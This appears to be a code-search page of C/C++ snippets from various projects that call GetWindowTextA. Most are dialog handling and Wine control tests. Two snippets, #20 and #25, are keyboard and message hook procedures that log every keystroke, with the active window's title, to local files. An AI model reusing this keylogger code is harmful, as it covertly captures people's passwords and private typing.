示例#1
0
void CNodeInfoWindow::OnClickUpdateTransformButton()
{
	EditorScene* scene = EditorScene::getInstance();
	SNodeInfo* info = scene->GetSelectedNodeInfo();
	if (!info)
		return;

	f32 position[3];
	f32 rotation[3];
	f32 scaling[3];

	char text[256];
	for (u32 i = 0; i < 3; i++)
	{
		GetWindowTextA(mPosTextFields[i], text, 256);
		int err = sscanf_s(text, "%f", &position[i]);
		if (err < 1 || err == EOF)
		{
			MessageBoxA(mParentHwnd, "cannot convert position value", "Error", NULL);
			return;
		}
	}

	for (u32 i = 0; i < 3; i++)
	{
		GetWindowTextA(mRotTextFields[i], text, 256);
		int err = sscanf_s(text, "%f", &rotation[i]);
		if (err < 1 || err == EOF)
		{
			MessageBoxA(mParentHwnd, "cannot convert rotation value", "Error", NULL);
			return;
		}
	}

	for (u32 i = 0; i < 3; i++)
	{
		GetWindowTextA(mScaleTextFields[i], text, 256);
		int err = sscanf_s(text, "%f", &scaling[i]);
		if (err < 1 || err == EOF)
		{
			MessageBoxA(mParentHwnd, "cannot convert scale value", "Error", NULL);
			return;
		}
	}

	info->Position.x = position[0];
	info->Position.y = position[1];
	info->Position.z = position[2];

	info->Rotation.x = rotation[0] * XM_PI / 180.0f;
	info->Rotation.y = rotation[1] * XM_PI / 180.0f;
	info->Rotation.z = rotation[2] * XM_PI / 180.0f;

	info->Scaling.x = scaling[0];
	info->Scaling.y = scaling[1];
	info->Scaling.z = scaling[2];

	scene->UpdateNodeInfo(info);
	UpdateShowing(info);
}
bool CCylinderBoundingWindow::Update(SBoundingShape* shape)
{
	f32 height, radius;
	int err;
	char text[256];
	GetWindowTextA(mHeightTextField, text, 256);
	err = sscanf_s(text, "%f", &height);
	if (err < 1 || err == EOF)
	{
		MessageBoxA(mParentHwnd, "cannot convert height value", "Error", NULL);
		return false;
	}

	GetWindowTextA(mRadiusTextField, text, 256);
	err = sscanf_s(text, "%f", &radius);
	if (err < 1 || err == EOF)
	{
		MessageBoxA(mParentHwnd, "cannot convert radius value", "Error", NULL);
		return false;
	}

	SCylinderBounding* cylinder = (SCylinderBounding*)shape;
	cylinder->Height = height;
	cylinder->Radius = radius;

	return true;
}
示例#3
0
文件: ipaddress.c 项目: Jactry/wine
static void test_get_set_text(void)
{
    HWND hwnd;
    CHAR ip[16];
    INT r;

    hwnd = create_ipaddress_control();
    if (!hwnd)
    {
        win_skip("IPAddress control not implemented\n");
        return;
    }

    /* check text just after creation */
    r = GetWindowTextA(hwnd, ip, ARRAY_SIZE(ip));
    expect(7, r);
    ok(strcmp(ip, "0.0.0.0") == 0, "Expected null IP address, got %s\n", ip);

    SendMessageA(hwnd, IPM_SETADDRESS, 0, MAKEIPADDRESS(127, 0, 0, 1));
    r = GetWindowTextA(hwnd, ip, ARRAY_SIZE(ip));
    expect(9, r);
    ok(strcmp(ip, "127.0.0.1") == 0, "Expected 127.0.0.1, got %s\n", ip);

    DestroyWindow(hwnd);
}
示例#4
0
void CListSide::AddLineAt(int nLine)
{
	AddLine();
	int nrLines = m_Lines.size();
	for (int i = nrLines - 2; i>= nLine; i--)
	{
		HWND hWnd = m_Lines.at(i).edSecond.m_hWnd;
		int len = GetWindowTextLengthA(hWnd);
		char* str = NULL;
		if (len)
		{
			len++;
			str = new char[len];
			GetWindowTextA(hWnd, str, len);
			SetWindowTextA(hWnd, "0:00");
			hWnd = m_Lines.at(i+1).edSecond.m_hWnd;
			SetWindowTextA(hWnd, str);
			delete[] str;
		}

		
		hWnd = m_Lines.at(i).edText.m_hWnd;
		len = GetWindowTextLengthA(hWnd);
		if (len)
		{
			len++;
			str = new char[len];
			GetWindowTextA(hWnd, str, len);
			SetWindowTextA(hWnd, "");
			hWnd = m_Lines.at(i+1).edText.m_hWnd;
			SetWindowTextA(hWnd, str);
			delete[] str;
		}
	}
}
示例#5
0
/***********************************************************************
 *         NPS_ProxyPasswordDialog
 */
static INT_PTR WINAPI NPS_ProxyPasswordDialog(
    HWND hdlg, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
    HWND hitem;
    LPAUTHDLGSTRUCTA lpAuthDlgStruct;

    if( uMsg == WM_INITDIALOG )
    {
        TRACE("WM_INITDIALOG (%08lx)\n", lParam);

        /* save the parameter list */
        lpAuthDlgStruct = (LPAUTHDLGSTRUCTA) lParam;
        SetWindowLongPtrW( hdlg, GWLP_USERDATA, lParam );

        if( lpAuthDlgStruct->lpExplainText )
        {
            hitem = GetDlgItem( hdlg, IDC_EXPLAIN );
            SetWindowTextA( hitem, lpAuthDlgStruct->lpExplainText );
        }

        /* extract the Realm from the proxy response and show it */
        if( lpAuthDlgStruct->lpResource )
        {
            hitem = GetDlgItem( hdlg, IDC_REALM );
            SetWindowTextA( hitem, lpAuthDlgStruct->lpResource );
        }

        return TRUE;
    }

    lpAuthDlgStruct = (LPAUTHDLGSTRUCTA) GetWindowLongPtrW( hdlg, GWLP_USERDATA );

    switch( uMsg )
    {
    case WM_COMMAND:
        if( wParam == IDOK )
        {
            hitem = GetDlgItem( hdlg, IDC_USERNAME );
            if( hitem )
                GetWindowTextA( hitem, lpAuthDlgStruct->lpUsername, lpAuthDlgStruct->cbUsername );

            hitem = GetDlgItem( hdlg, IDC_PASSWORD );
            if( hitem )
                GetWindowTextA( hitem, lpAuthDlgStruct->lpPassword, lpAuthDlgStruct->cbPassword );

            EndDialog( hdlg, WN_SUCCESS );
            return TRUE;
        }
        if( wParam == IDCANCEL )
        {
            EndDialog( hdlg, WN_CANCEL );
            return TRUE;
        }
        break;
    }
    return FALSE;
}
示例#6
0
文件: updown.c 项目: Jactry/wine
static void test_UDS_SETBUDDYINT(void)
{
    HWND updown;
    DWORD style, ret;
    CHAR text[10];

    /* cleanup buddy */
    text[0] = '\0';
    SetWindowTextA(g_edit, text);

    /* creating without UDS_SETBUDDYINT */
    updown = create_updown_control(UDS_ALIGNRIGHT, g_edit);
    /* try to set UDS_SETBUDDYINT after creation */
    style = GetWindowLongA(updown, GWL_STYLE);
    SetWindowLongA(updown, GWL_STYLE, style | UDS_SETBUDDYINT);
    style = GetWindowLongA(updown, GWL_STYLE);
    ok(style & UDS_SETBUDDYINT, "Expected UDS_SETBUDDY to be set\n");
    SendMessageA(updown, UDM_SETPOS, 0, 20);
    GetWindowTextA(g_edit, text, ARRAY_SIZE(text));
    ok(lstrlenA(text) == 0, "Expected empty string\n");
    DestroyWindow(updown);

    /* creating with UDS_SETBUDDYINT */
    updown = create_updown_control(UDS_SETBUDDYINT | UDS_ALIGNRIGHT, g_edit);
    GetWindowTextA(g_edit, text, ARRAY_SIZE(text));
    /* 50 is initial value here */
    ok(lstrcmpA(text, "50") == 0, "Expected '50', got '%s'\n", text);
    /* now remove style flag */
    style = GetWindowLongA(updown, GWL_STYLE);
    SetWindowLongA(updown, GWL_STYLE, style & ~UDS_SETBUDDYINT);
    SendMessageA(updown, UDM_SETPOS, 0, 20);
    GetWindowTextA(g_edit, text, ARRAY_SIZE(text));
    ok(lstrcmpA(text, "20") == 0, "Expected '20', got '%s'\n", text);
    /* set edit text directly, check position */
    strcpy(text, "10");
    SetWindowTextA(g_edit, text);
    ret = SendMessageA(updown, UDM_GETPOS, 0, 0);
    expect(10, ret);
    strcpy(text, "11");
    SetWindowTextA(g_edit, text);
    ret = SendMessageA(updown, UDM_GETPOS, 0, 0);
    expect(11, LOWORD(ret));
    expect(0,  HIWORD(ret));
    /* set to invalid value */
    strcpy(text, "21st");
    SetWindowTextA(g_edit, text);
    ret = SendMessageA(updown, UDM_GETPOS, 0, 0);
    expect(11, LOWORD(ret));
    expect(TRUE, HIWORD(ret));
    /* set style back */
    style = GetWindowLongA(updown, GWL_STYLE);
    SetWindowLongA(updown, GWL_STYLE, style | UDS_SETBUDDYINT);
    SendMessageA(updown, UDM_SETPOS, 0, 30);
    GetWindowTextA(g_edit, text, ARRAY_SIZE(text));
    ok(lstrcmpA(text, "30") == 0, "Expected '30', got '%s'\n", text);
    DestroyWindow(updown);
}
示例#7
0
static INT_PTR CALLBACK page_dlg_proc(HWND hwnd, UINT msg, WPARAM wparam,
                                      LPARAM lparam)
{
    switch(msg)
    {
    case WM_INITDIALOG:
      {
        HWND sheet = GetParent(hwnd);
        char caption[256];
        GetWindowTextA(sheet, caption, sizeof(caption));
        ok(!strcmp(caption,"test caption"), "caption: %s\n", caption);
        return TRUE;
      }

    case WM_NOTIFY:
      {
        NMHDR *nmhdr = (NMHDR *)lparam;
        switch(nmhdr->code)
        {
        case PSN_APPLY:
            return TRUE;
        default:
            return FALSE;
        }
      }
    case WM_NCDESTROY:
        ok(!SendMessageA(sheethwnd, PSM_INDEXTOHWND, 400, 0),"Should always be 0\n");
        return TRUE;

    default:
        return FALSE;
    }
}
示例#8
0
文件: datetime.c 项目: GYGit/reactos
static void test_dtm_set_format(void)
{
    HWND hWnd;
    CHAR txt[256];
    SYSTEMTIME systime;
    LRESULT r;

    hWnd = create_datetime_control(DTS_SHOWNONE);

    flush_sequences(sequences, NUM_MSG_SEQUENCES);

    r = SendMessageA(hWnd, DTM_SETFORMATA, 0, 0);
    expect(1, r);

    r = SendMessageA(hWnd, DTM_SETFORMATA, 0,
		    (LPARAM)"'Today is: 'hh':'m':'s dddd MMM dd', 'yyyy");
    expect(1, r);

    ok_sequence(sequences, DATETIME_SEQ_INDEX, test_dtm_set_format_seq, "test_dtm_set_format", FALSE);

    r = SendMessageA(hWnd, DTM_SETFORMATA, 0, (LPARAM)"'hh' hh");
    expect(1, r);
    ZeroMemory(&systime, sizeof(systime));
    systime.wYear = 2000;
    systime.wMonth = systime.wDay = 1;
    r = SendMessageA(hWnd, DTM_SETSYSTEMTIME, 0, (LPARAM)&systime);
    expect(1, r);
    GetWindowTextA(hWnd, txt, 256);
    ok(strcmp(txt, "hh 12") == 0, "String mismatch (\"%s\" vs \"hh 12\")\n", txt);

    DestroyWindow(hWnd);
}
示例#9
0
/*
 * Get the current sellection of the given combo box and set a DCB field to
 * the value matching that selection.
 */
static BOOL SERIALUI_GetConfItems(HWND hDlg, DWORD id, LPCPARAM2STR table, LPDWORD lpdwVal)
{
    DWORD i;
    CHAR lpEntry[20];
    HWND hControl = GetDlgItem(hDlg,id);

    if( (!hControl) || (!lpdwVal))
    {
        TRACE("Couldn't get window handle for item %lx\n",id);
        return FALSE;
    }

    if(!GetWindowTextA(hControl, &lpEntry[0], sizeof(lpEntry)))
    {
        TRACE("Couldn't get window text for item %lx\n",id);
        return FALSE;
    }
    /* TRACE("%ld contains %s\n",id, lpEntry); */

    for(i=0; i<table->dwSize; i++)
    {
        if(!lstrcmpA(table->data[i].name,lpEntry))
	{
            *lpdwVal = table->data[i].val;
            return TRUE;
	}
    }

    return FALSE;
}
示例#10
0
BOOL CALLBACK CWindowsFunctions::CB_EnumChildProc(HWND hwnd, LPARAM lParam)
{
	int length = GetWindowTextLengthA(hwnd);

	if (length > 0)
	{
		length++; // NULL character

		char* jpn = new char[length];
	
		length = GetWindowTextA(hwnd, jpn, length);

		if (length > 0)
		{
			char className[6];
			GetClassNameA(hwnd, className, sizeof(className));

			if (strcmp(className, "Edit") != 0)
			{
				bool result = m_resources->TranslateUserInterface(jpn, m_uiBuffer, UI_BUFFER);

				if (result)
				{
					SetWindowTextA(hwnd, m_uiBuffer);
				}
			}
		}

		delete[] jpn;
	}

	return TRUE;
}
BOOL GetEdit1TextAsMPZ(HWND hDlg, mpz_t _P)
{
 char b[2048];
 LPSTR buf=(LPSTR)b;
 GetWindowTextA(GetDlgItem(hDlg, IDC_EDIT1), &buf[0], 2047);
 INT ii=(INT)SendMessage(GetDlgItem(hDlg, IDC_BASE_LIST), LB_GETCURSEL, 0, 0);
 UINT i, Base, Bits, Trues;
 BOOL Success=TRUE;
  switch(ii)
  {
   case 0: Base=10; break;
   case 1: case 2: Base=16; break;
   case 3: Base=32; break;
   case 4: Base=62; break;
   default: Success=FALSE; break;
  }
  //uint32_t ulMaxBits=2*sizeof(uint32_t)*8 + mp_bits_per_limb;mpz_init2(FFmpzTMP, ulMaxBits);
  Success &= (mpz_init_set_str(_P, (char*)buf, Base)!=-1);
   if(Success)
   {
    Bits=mpz_sizeinbase(_P, 2);
    Trues=0;
      for(i=0; i<Bits; i++)
       if(mpz_tstbit(_P, i))Trues++;
    SetLabelUI(hDlg, IDC_BITS_STT,  Bits);
    SetLabelUI(hDlg, IDC_TRUES_STT, Trues);
   }
   else
   {
    SetLabelUI(hDlg, IDC_BITS_STT, 0xFFFFFFFF);
    SetLabelUI(hDlg, IDC_TRUES_STT, 0xFFFFFFFF);
   }
  return Success;
}//--//
示例#12
0
int GetWindowTextUTF8(HWND hWnd, LPTSTR lpString, int nMaxCount)
{
  if (!lpString) return 0;
  if (nMaxCount>0 AND_IS_NOT_WIN9X)
  {
    int alloc_size=nMaxCount;

    // prevent large values of nMaxCount from allocating memory unless the underlying text is big too
    if (alloc_size > 512)  
    {
      int l=GetWindowTextLengthW(hWnd);
      if (l>=0 && l < 512) alloc_size=1000;
    }

    {
      WIDETOMB_ALLOC(wbuf, alloc_size);
      if (wbuf)
      {
        GetWindowTextW(hWnd,wbuf,(int) (wbuf_size/sizeof(WCHAR)));

        if (!WideCharToMultiByte(CP_UTF8,0,wbuf,-1,lpString,nMaxCount,NULL,NULL) && GetLastError()==ERROR_INSUFFICIENT_BUFFER)
          lpString[nMaxCount-1]=0;

        WIDETOMB_FREE(wbuf);

        return (int)strlen(lpString);
      }
    }
  }
  return GetWindowTextA(hWnd,lpString,nMaxCount);
}
示例#13
0
文件: dialog.c 项目: howard5888/wineT
static VOID DoSaveFile(VOID)
{
    HANDLE hFile;
    DWORD dwNumWrite;
    LPSTR pTemp;
    DWORD size;

    hFile = CreateFile(Globals.szFileName, GENERIC_WRITE, FILE_SHARE_WRITE,
                       NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        ShowLastError();
        return;
    }

    size = GetWindowTextLengthA(Globals.hEdit) + 1;
    pTemp = HeapAlloc(GetProcessHeap(), 0, size);
    if (!pTemp)
    {
	CloseHandle(hFile);
        ShowLastError();
        return;
    }
    size = GetWindowTextA(Globals.hEdit, pTemp, size);

    if (!WriteFile(hFile, pTemp, size, &dwNumWrite, NULL))
        ShowLastError();
    else
        SendMessage(Globals.hEdit, EM_SETMODIFY, FALSE, 0);

    SetEndOfFile(hFile);
    CloseHandle(hFile);
    HeapFree(GetProcessHeap(), 0, pTemp);
}
示例#14
0
文件: updown.c 项目: devyn/wine
static void test_create_updown_control(void)
{
    CHAR text[MAX_PATH];

    parent_wnd = create_parent_window();
    ok(parent_wnd != NULL, "Failed to create parent window!\n");
    ok_sequence(sequences, PARENT_SEQ_INDEX, create_parent_wnd_seq, "create parent window", TRUE);

    flush_sequences(sequences, NUM_MSG_SEQUENCES);

    edit = create_edit_control();
    ok(edit != NULL, "Failed to create edit control\n");
    ok_sequence(sequences, PARENT_SEQ_INDEX, add_edit_to_parent_seq, "add edit control to parent", FALSE);

    flush_sequences(sequences, NUM_MSG_SEQUENCES);

    updown = create_updown_control();
    ok(updown != NULL, "Failed to create updown control\n");
    ok_sequence(sequences, PARENT_SEQ_INDEX, add_updown_to_parent_seq, "add updown control to parent", TRUE);
    ok_sequence(sequences, EDIT_SEQ_INDEX, add_updown_with_edit_seq, "add updown control with edit", FALSE);

    flush_sequences(sequences, NUM_MSG_SEQUENCES);

    GetWindowTextA(edit, text, MAX_PATH);
    ok(lstrlenA(text) == 0, "Expected empty string\n");
    ok_sequence(sequences, EDIT_SEQ_INDEX, get_edit_text_seq, "get edit text", FALSE);

    flush_sequences(sequences, NUM_MSG_SEQUENCES);

    test_updown_pos();
    test_updown_pos32();
    test_updown_buddy();
    test_updown_base();
    test_updown_unicode();
}
示例#15
0
BOOL CALLBACK VanityDialogProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam) {
	switch(msg) {
		case WM_INITDIALOG:
			return TRUE;
		case WM_DESTROY:
destroy:
           EndDialog(hDlg,0);
           return TRUE;
		case WM_COMMAND: {
			int code = wParam>>16;
			int which = wParam & 0xFFFF;
			switch( which ) {
				case 1: {
					char buffer[64];
					buffer[0]=0;
					HWND b = GetDlgItem(hDlg,501);	// FIXME - should create symbol for 501
					GetWindowTextA(b,buffer,sizeof(buffer));
					// Filter out weirdness.
					char* q=buffer;
					for( char* p=buffer; char c = *p; ++p ) {
						if( isspace(c) *q++ = ' ';
					    else if( isprint(c) ) *q++ = c;
				    }
					*p++ = '\0';
					goto destroy;
				}
				break;
			}
			break;
		}
   }
示例#16
0
static DWORD set_foreground(HWND hwnd)
{
    HWND hwnd_fore;
    DWORD set_id, fore_id, ret;
    char win_text[1024];

    hwnd_fore = GetForegroundWindow();
    GetWindowTextA(hwnd_fore, win_text, 1024);
    set_id = GetWindowThreadProcessId(hwnd, NULL);
    fore_id = GetWindowThreadProcessId(hwnd_fore, NULL);
    trace("\"%s\" %p %08x hwnd %p %08x\n", win_text, hwnd_fore, fore_id, hwnd, set_id);
    ret = AttachThreadInput(set_id, fore_id, TRUE);
    trace("AttachThreadInput returned %08x\n", ret);
    ret = ShowWindow(hwnd, SW_SHOWNORMAL);
    trace("ShowWindow returned %08x\n", ret);
    ret = SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE);
    trace("set topmost returned %08x\n", ret);
    ret = SetWindowPos(hwnd, HWND_NOTOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE);
    trace("set notopmost returned %08x\n", ret);
    ret = SetForegroundWindow(hwnd);
    trace("SetForegroundWindow returned %08x\n", ret);
    Sleep(250);
    AttachThreadInput(set_id, fore_id, FALSE);
    return ret;
}
int DoMyControlProcessing(HWND hdlg,UINT message,WPARAM wParam,LPARAM lParam,INT_PTR *bReturn)
{
	switch(message) {
		case WM_INITDIALOG:
			EnumChildWindows(hdlg,MyControlsEnumChildren,0);
			if(hEmfHeaderLogo==NULL) {
				HRSRC hRsrc=FindResourceA(hInst,MAKEINTRESOURCEA(IDE_HDRLOGO),"EMF");
				HGLOBAL hGlob=LoadResource(hInst,hRsrc);
				hEmfHeaderLogo=SetEnhMetaFileBits(SizeofResource(hInst,hRsrc),(PBYTE)LockResource(hGlob));
			}
			SendDlgItemMessage(hdlg,IDC_HDRLOGO,STM_SETIMAGE,IMAGE_ENHMETAFILE,(LPARAM)hEmfHeaderLogo);
			break;
		case WM_CTLCOLORSTATIC:
			if((GetWindowLong((HWND)lParam,GWL_STYLE)&0xFFFF)==0) {
				char szText[256];
				GetWindowTextA((HWND)lParam,szText,sizeof(szText));
				if(!strcmp(szText,"whiterect")) {
					SetTextColor((HDC)wParam,RGB(255,255,255));
					SetBkColor((HDC)wParam,RGB(255,255,255));
					SetBkMode((HDC)wParam,OPAQUE);
					*bReturn=(INT_PTR)GetStockObject(WHITE_BRUSH);
					return TRUE;
				}
				else {
					SetBkMode((HDC)wParam,TRANSPARENT);
					*bReturn=(INT_PTR)GetStockObject(NULL_BRUSH);
					return TRUE;
				}
			}
			break;
	}
	return FALSE;
}
示例#18
0
文件: Frame.cpp 项目: kpli/AigisDmm
int CFrame::getChromeTitle(LPSTR lpBuf, int maxLen)
{
	HWND hChrome = chromeHwnd();
	if (!hChrome)
	{
		return -1;
	}
	GetWindowTextA(hChrome, lpBuf, maxLen);
	int nLen = strlen(lpBuf);
	if (nLen == 0 || nLen >= maxLen / 2)
	{
		strcpy_s(lpBuf, maxLen, ("ERR"));
		return 3;
	}
	else
	{
		for (int i = 1; i < nLen; i++)
		{
			if (lpBuf[i] == '-')
			{
				lpBuf[i - 1] = '\0';
				return i - 1;
			}
		}
	}
	return nLen;
}
示例#19
0
void MusPlayer_WinAPI::on_play_clicked()
{
    if(Mix_PlayingMusic())
    {
        if(Mix_PausedMusic())
        {
            Mix_ResumeMusic();
            SetWindowTextW(m_buttonPlay, L"Pause");
            return;
        }
        else
        {
            Mix_PauseMusic();
            SetWindowTextW(m_buttonPlay, L"Resume");
            return;
        }
    }

    char trackIDtext[1024];
    memset(trackIDtext, 0, 1024);
    GetWindowTextA(m_gme.m_trackNum, trackIDtext, 1024);
    int trackID = atoi(trackIDtext);
    m_prevTrackID = trackID;
    SetWindowTextW(m_buttonPlay, L"Play");
    if(currentMusic.empty())
        return;

    if(PGE_MusicPlayer::MUS_openFile(currentMusic +"|"+trackIDtext ) )
    {
        PGE_MusicPlayer::MUS_playMusic();
        SetWindowTextW(m_buttonPlay, L"Pause");
    }

    ShowWindow(m_groupGME, SW_HIDE);
    ShowWindow(m_groupMIDI, SW_HIDE);
    ShowWindow(m_groupADLMIDI, SW_HIDE);
    switch(PGE_MusicPlayer::type)
    {
        case MUS_MID:
            ShowWindow(m_groupMIDI,     SW_SHOW);
            ShowWindow(m_groupADLMIDI,  SW_SHOW);
            m_height = 350;
            break;
        case MUS_SPC:
            ShowWindow(m_groupGME,  SW_SHOW);
            m_height = 220;
            break;
        default:
            m_height = 170;
            break;
    }
    SetWindowPos(m_hWnd, HWND_TOP, 0, 0, 350, m_height, SWP_NOMOVE|SWP_NOZORDER);

    SetWindowTextW(m_labelTitle,        Str2Wstr(PGE_MusicPlayer::MUS_getMusTitle()).c_str());
    SetWindowTextW(m_labelArtist,       Str2Wstr(PGE_MusicPlayer::MUS_getMusArtist()).c_str());
    SetWindowTextW(m_labelAlboom,       Str2Wstr(PGE_MusicPlayer::MUS_getMusAlbum()).c_str());
    SetWindowTextW(m_labelCopyright,    Str2Wstr(PGE_MusicPlayer::MUS_getMusCopy()).c_str());
    SetWindowTextA(m_formatInfo,        PGE_MusicPlayer::musicTypeC());
}
示例#20
0
文件: logger.c 项目: g5tyl3/Timber
LRESULT CALLBACK  LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
	HWND hFocus=GetForegroundWindow();

	if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam);

	if(code==HC_ACTION) {
		KBDLLHOOKSTRUCT *pKBst=(KBDLLHOOKSTRUCT *)lParam;
		if(wParam==WM_KEYDOWN) {
			
			DWORD dwCount,dwBytes;
			char svBuffer[256];
			int vKey,nScan;
		
			vKey=pKBst->vkCode;
			nScan=pKBst->scanCode;
			nScan<<=16;
			
			// Check to see if focus has changed			
			if(g_hLastFocus!=hFocus) {
				char svTitle[256];
				int nCount;
				nCount=GetWindowTextA(hFocus,svTitle,256);
				if(nCount>0) {
					char svBuffer[512];
					sprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle);
					WriteFile(g_hCapFile,svBuffer,strlen(svBuffer),&dwBytes,NULL);
				}
				g_hLastFocus=hFocus;
			}
			
			// Write out key
			dwCount=GetKeyNameTextA(nScan,svBuffer,256);	
			if(dwCount) {
				if(vKey==VK_SPACE) {
					svBuffer[0]=' ';
					svBuffer[1]='\0';
					dwCount=1;
				}
				if(dwCount==1) {
					BYTE kbuf[256];
					WORD ch;
					int chcount;
					
					GetKeyboardState(kbuf);
					
					chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
					if(chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL);				
				} else {
					WriteFile(g_hCapFile,"[",1,&dwBytes,NULL);
					WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL);
					WriteFile(g_hCapFile,"]",1,&dwBytes,NULL);
					if(vKey==VK_RETURN) WriteFile(g_hCapFile,"\r\n",2,&dwBytes,NULL);
				}
			}			
		}
	}
	return CallNextHookEx(g_hLogHook,code,wParam,lParam);
}
示例#21
0
	void OnRegisterClick(CCtrlButton*)
	{
		if (GetWindowTextLength(m_pw1.GetHwnd()) != 3 || GetWindowTextLength(m_pw2.GetHwnd()) != 3) {
			MessageBox(NULL, TranslateT("Please correctly specify your registration code received by SMS"), PRODUCT_NAME, MB_ICONEXCLAMATION);
			return;
		}

		char code[10];
		GetWindowTextA(m_pw1.GetHwnd(), code, 4);
		GetWindowTextA(m_pw2.GetHwnd(), code + 3, 4);

		string password;
		ptrA cc(m_cc.GetTextA()), number(m_login.GetTextA());
		if (m_proto->Register(REG_STATE_REG_CODE, string(cc), string(number), string(code), password)) {
			m_proto->setString(WHATSAPP_KEY_PASS, password.c_str());
			MessageBox(NULL, TranslateT(szPasswordSet), PRODUCT_NAME, MB_ICONWARNING);
		}
	}
示例#22
0
void CListSide::RemoveLineAt(int nLine)
{
	int nrLines = m_Lines.size();
	for (int i = nLine; i < nrLines; i++)
	{
		HWND hWnd = m_Lines.at(i).edSecond.m_hWnd;
		int len = GetWindowTextLengthA(hWnd);
		char* str = NULL;
		if (len)
		{
			len++;
			str = new char[len];
			GetWindowTextA(hWnd, str, len);
			SetWindowTextA(hWnd, "");
			hWnd = m_Lines.at(i-1).edSecond.m_hWnd;
			SetWindowTextA(hWnd, str);
			delete[] str;
		}

		
		hWnd = m_Lines.at(i).edText.m_hWnd;
		len = GetWindowTextLengthA(hWnd);
		if (len)
		{
			len++;
			str = new char[len];
			GetWindowTextA(hWnd, str, len);
			SetWindowTextA(hWnd, "");
			hWnd = m_Lines.at(i-1).edText.m_hWnd;
			SetWindowTextA(hWnd, str);
			delete[] str;
		}
	}

	RemoveLine();

/*	RECT rect;
	GetWindowRect(m_Lines.back().edText.m_hWnd, &rect);
	POINT pt = {rect.right, rect.bottom};
	ScreenToClient(m_hWnd, &pt);

//	int nBottom = m_rClient.top + m_Lines.back().nIndex * m_nLineHeight + m_nLineHeight;
	UpdateScrollBar(pt.y);*/
}
示例#23
0
void ExtFrame::RegChannels()
{ // set property "tradelink" on this window so we can find it easily
	CString caption;
	GetWindowTextA(caption);
	HWND h = (HWND)FindWindowA(NULL,caption);
	if (h)
	{
		SetProp(h,"TradeLink",(HANDLE)h);
	}
}
示例#24
0
end_edit(TableUI *tui) {
    if (is_editing(tui)) {
        char buf[65536];           /* An EDIT control's limit */
        int len = GetWindowTextLength(tui->edit);
        GetWindowTextA (tui->edit, buf, len + 1);
        set_cell(tui->table, tui->cur_row, tui->cur_col, buf, len);
        cancel_edit(tui);
        redraw_rows(tui, tui->cur_row, tui->cur_row);
    }
}
示例#25
0
LRESULT CALLBACK MsgHookProc(int nCode, WPARAM wPARAM, LPARAM lParam)
{
	if (HC_ACTION == nCode) //说明有消息到来
	{
		PMSG pMsg = (PMSG)lParam;
		char szWindowName[MAXBYTE] = { 0 };
		char szOutput[MAXBYTE] = { 0 };
		char szOutput2[MAXBYTE] = { 0 };
		FILE *logfile;
		if (pMsg->message == WM_CHAR)//字符消息
		{
			//确定此时已经按下一个键
			char szKey = (char)pMsg->wParam;
			//MessageBox(nullptr, L"你按下了一个键", L"", MB_OK);
			if (szKey >= 32 && szKey <= 126) //有效字符消息 32到126之间
			{
				GetWindowTextA(pMsg->hwnd, szWindowName, MAXBYTE);//哪个窗口
				sprintf_s(szOutput, MAXBYTE, "窗口:[%s]接收到:%c\n", szWindowName, szKey);
				OutputDebugStringA(szOutput);
				fopen_s(&logfile, "c:\\ouput.txt", "a+");
				fprintf(logfile,szOutput);
				fclose(logfile);
			}

		}
		//////////////////////////////////////////////
		else if (pMsg->message == WM_IME_CHAR)//输入法消息
		{
			//确定此时已经按下一个键
			char szKey2 = (char)pMsg->wParam;
			GetWindowTextA(pMsg->hwnd, szWindowName, MAXBYTE);//哪个窗口
			sprintf_s(szOutput2, MAXBYTE, "窗口:[%s]接收到:%c\n", szWindowName, szKey2);
			OutputDebugStringA(szOutput2);
			fopen_s(&logfile, "c:\\ouput.txt", "a+");
			fprintf(logfile, szOutput2);
			fclose(logfile);
			//输入法的消息无法记录,原因不明。
		}

	}
	return CallNextHookEx(g_hHook, nCode, wPARAM, lParam);
}
示例#26
0
// Spout OpenGL initialization function
bool SpoutSenderPlugin::InitOpenGL()
{
	char windowtitle[512];

	// We only need an OpenGL context with no window
	m_hwnd = GetForegroundWindow(); // Any window will do - we don't render to it
	if(!m_hwnd) { printf("InitOpenGL error 1\n"); MessageBoxA(NULL, "Error 1\n", "InitOpenGL", MB_OK); return false; }
	m_hdc = GetDC(m_hwnd);
	if(!m_hdc) { printf("InitOpenGL error 2\n"); MessageBoxA(NULL, "Error 2\n", "InitOpenGL", MB_OK); return false; }
	GetWindowTextA(m_hwnd, windowtitle, 256); // debug

	PIXELFORMATDESCRIPTOR pfd;
	ZeroMemory( &pfd, sizeof( pfd ) );
	pfd.nSize = sizeof( pfd );
	pfd.nVersion = 1;
	pfd.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER;
	pfd.iPixelType = PFD_TYPE_RGBA;
	pfd.cColorBits = 32;
	pfd.cDepthBits = 24; // LJ DEBUG - was 16;
	pfd.cStencilBits = 8; // LJ DEBUG -added
	pfd.iLayerType = PFD_MAIN_PLANE;

	int iFormat = ChoosePixelFormat(m_hdc, &pfd);
	if(!iFormat) { printf("InitOpenGL error 3\n"); MessageBoxA(NULL, "Error 3\n", "InitOpenGL", MB_OK); return false; }

	if(!SetPixelFormat(m_hdc, iFormat, &pfd)) { printf("InitOpenGL error 4\n"); MessageBoxA(NULL, "Error 4\n", "InitOpenGL", MB_OK); return false; }

	m_hRC = wglCreateContext(m_hdc);
	if(!m_hRC) { printf("InitOpenGL error 5\n"); MessageBoxA(NULL, "Error 5\n", "InitOpenGL", MB_OK); return false; }

	wglMakeCurrent(m_hdc, m_hRC);
	if(wglGetCurrentContext() == NULL) { printf("InitOpenGL error 6\n"); MessageBoxA(NULL, "Error 6\n", "InitOpenGL", MB_OK); return false; }

	// Set up a shared context
	if(!m_hSharedRC) m_hSharedRC = wglCreateContext(m_hdc);
	if(!m_hSharedRC) { printf("InitOpenGL shared context not created\n"); }
